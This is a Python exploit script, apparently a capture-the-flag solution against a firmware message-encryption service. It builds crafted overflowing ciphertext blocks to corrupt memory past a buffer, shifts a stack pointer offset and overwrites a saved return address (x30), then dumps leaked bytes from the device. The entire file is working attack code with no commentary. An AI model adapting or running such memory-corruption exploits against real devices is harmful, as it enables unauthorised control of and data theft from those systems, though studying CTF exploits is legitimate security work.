from fwexploit_base import *
from tqdm import tqdm

write_pkt(0x11111)
resp, data = read_responses()
log.info("invalid packet returned %s, %s", resp, data)

CRC = crc32(b"A" * 16)

def decrypt_msg9(size):
    """ Overflowing decryption from message 9. Uses (CRC, size, 10, 0) as the IV for overflowed blocks. """
    block_old = struct.pack("<IIII", CRC, size, 10, 0)
    block_new = struct.pack("<IIII", 0xaaaaaaaa, 0xbbbbbbbb, 0, 0)
    block_dec = decrypt_block(block_old)
    block_enc = xor(block_new, block_dec)

    for i in range(9):
        add(Message(mode=0, data=b"A" * 16))
    add(Message(mode=0, data=b"A" * 240 + block_enc, size_mode0=16, size_mode1=size, crc=CRC))
    decrypt(10)

def encrypt_msg9(size, size1):
    """ Overflowing encryption from message 9. Uses (CRC, size1, 10, 0) as the IV for overflowed blocks. """
    block_old = struct.pack("<IIII", CRC, 16, 10, 0)
    block_new = struct.pack("<IIII", CRC, size1, 10, 0)
    block_dec = decrypt_block(block_new)
    prev_block_enc = xor(block_old, block_dec)
    prev_block_dec = decrypt_block(prev_block_enc)

    for i in range(9):
        add(Message(mode=0, data=b"A" * 16))
    add(Message(mode=0, data=b"A" * 256))
    data = encrypt(10)

    prev_block_pt = xor(data[-1].data[224:240], prev_block_dec)

    for i in range(9):
        add(Message(mode=0, data=b"A" * 16))
    add(Message(mode=1, size_mode0=size, data=b"A" * 240 + prev_block_pt, size_mode1=16, crc=CRC))
    encrypt(10)

def munge_272(diff):
    block_old = struct.pack("<IIII", CRC, 16, 10, 0)
    block_dec = decrypt_block(block_old)
    block_new = struct.pack("<IIII", CRC, 288, diff ^ 10, 0)
    block_enc = xor(block_new, block_dec)
    b2_old = struct.pack("<IIII", 0, CRC, 16, 0)
    b2_dec = decrypt_block(b2_old)
    b2_enc = xor(b2_old, b2_dec)
    b3_old = struct.pack("<IIII", 0, 0, CRC, 16)
    b3_dec = decrypt_block(b3_old)
    b3_enc = xor(b3_old, b3_dec)
    b4_old = struct.pack("<IIII", 16, 0, 16, 0)
    b4_dec = decrypt_block(b4_old)
    b4_enc = xor(b4_dec, b4_old)
    b5_old = struct.pack("<IIII", CRC, 0x114 * 5 + 12, 0, 16)
    b5_dec = decrypt_block(b5_old)
    b5_enc = xor(b5_dec, b5_old)
    b9_want = struct.pack("<IIII", 0, 0, 0, 0)
    b9_dec1 = decrypt_block(block_enc)
    b9_dec2 = decrypt_block(block_new)
    b9_enc = xor(b9_want, xor(b9_dec1, b9_dec2))

    add(Message(mode=0, data=b"A" * 16))
    add(Message(mode=0, data=b"A" * 16, size_mode1=0x114 * 9 - 4, crc=CRC))
    add(Message(mode=0, data=b"A" * 16 + b"X" * 220 + b2_enc, size_mode0=16, size_mode1=16, crc=CRC))
    add(Message(mode=0, data=b"A" * 16 + b"X" * 216 + b3_enc, size_mode0=16, size_mode1=16, crc=CRC))
    add(Message(mode=0, data=b"A" * 16 + b"X" * 228 + b4_enc[:12], size_mode0=16, size_mode1=16, crc=CRC))
    add(Message(mode=0, data=b"A" * 240 + b5_enc, size_mode0=16, size_mode1=0x114 * 5 + 12, crc=CRC))
    add(Message(mode=0, data=b"A" * 16))
    add(Message(mode=0, data=b"A" * 16))
    add(Message(mode=0, data=b"A" * 16))
    add(Message(mode=0, data=b"A" * 16 + b"\0" * 208 + b9_enc + block_enc, size_mode0=16, size_mode1=16, crc=CRC))
    decrypt(10)

def forward_pass(distance, diff):
    SCHEDULE = list(range(distance, 272, -16))
    for L in tqdm(SCHEDULE):
        encrypt_msg9(L, L)

    munge_272(diff)

    for L in tqdm(SCHEDULE[::-1][1:]):
        decrypt_msg9(L)

def reverse_pass(distance_new, distance, diff):
    SCHEDULE = list(range(distance, 272, -16))
    for L in tqdm(SCHEDULE):
        encrypt_msg9(min(distance_new, L), L)

    munge_272(diff)

    for L in tqdm(SCHEDULE[::-1][1:]):
        decrypt_msg9(min(distance_new, L))

sp_diff = (0x30 + 0x40 + 0x140 + 0x50 - 0x20)
log.info("sp_diff: 0x%x", sp_diff)
cur_x30 = 0x1e94
new_x30 = 0x1b78
forward_pass(832, sp_diff)
reverse_pass(816, 832, sp_diff)
forward_pass(816, new_x30 ^ cur_x30)

add(Message(mode=0, data=p32(4) * 4))
decrypt(1)

write_pkt(0x11111)
print(s.recvn(0x11c).hex())
while 1:
    a = s.recvn(4, timeout=5)
    if not a:
        log.info("nothing coming; bailing")
        break
    print(a.hex())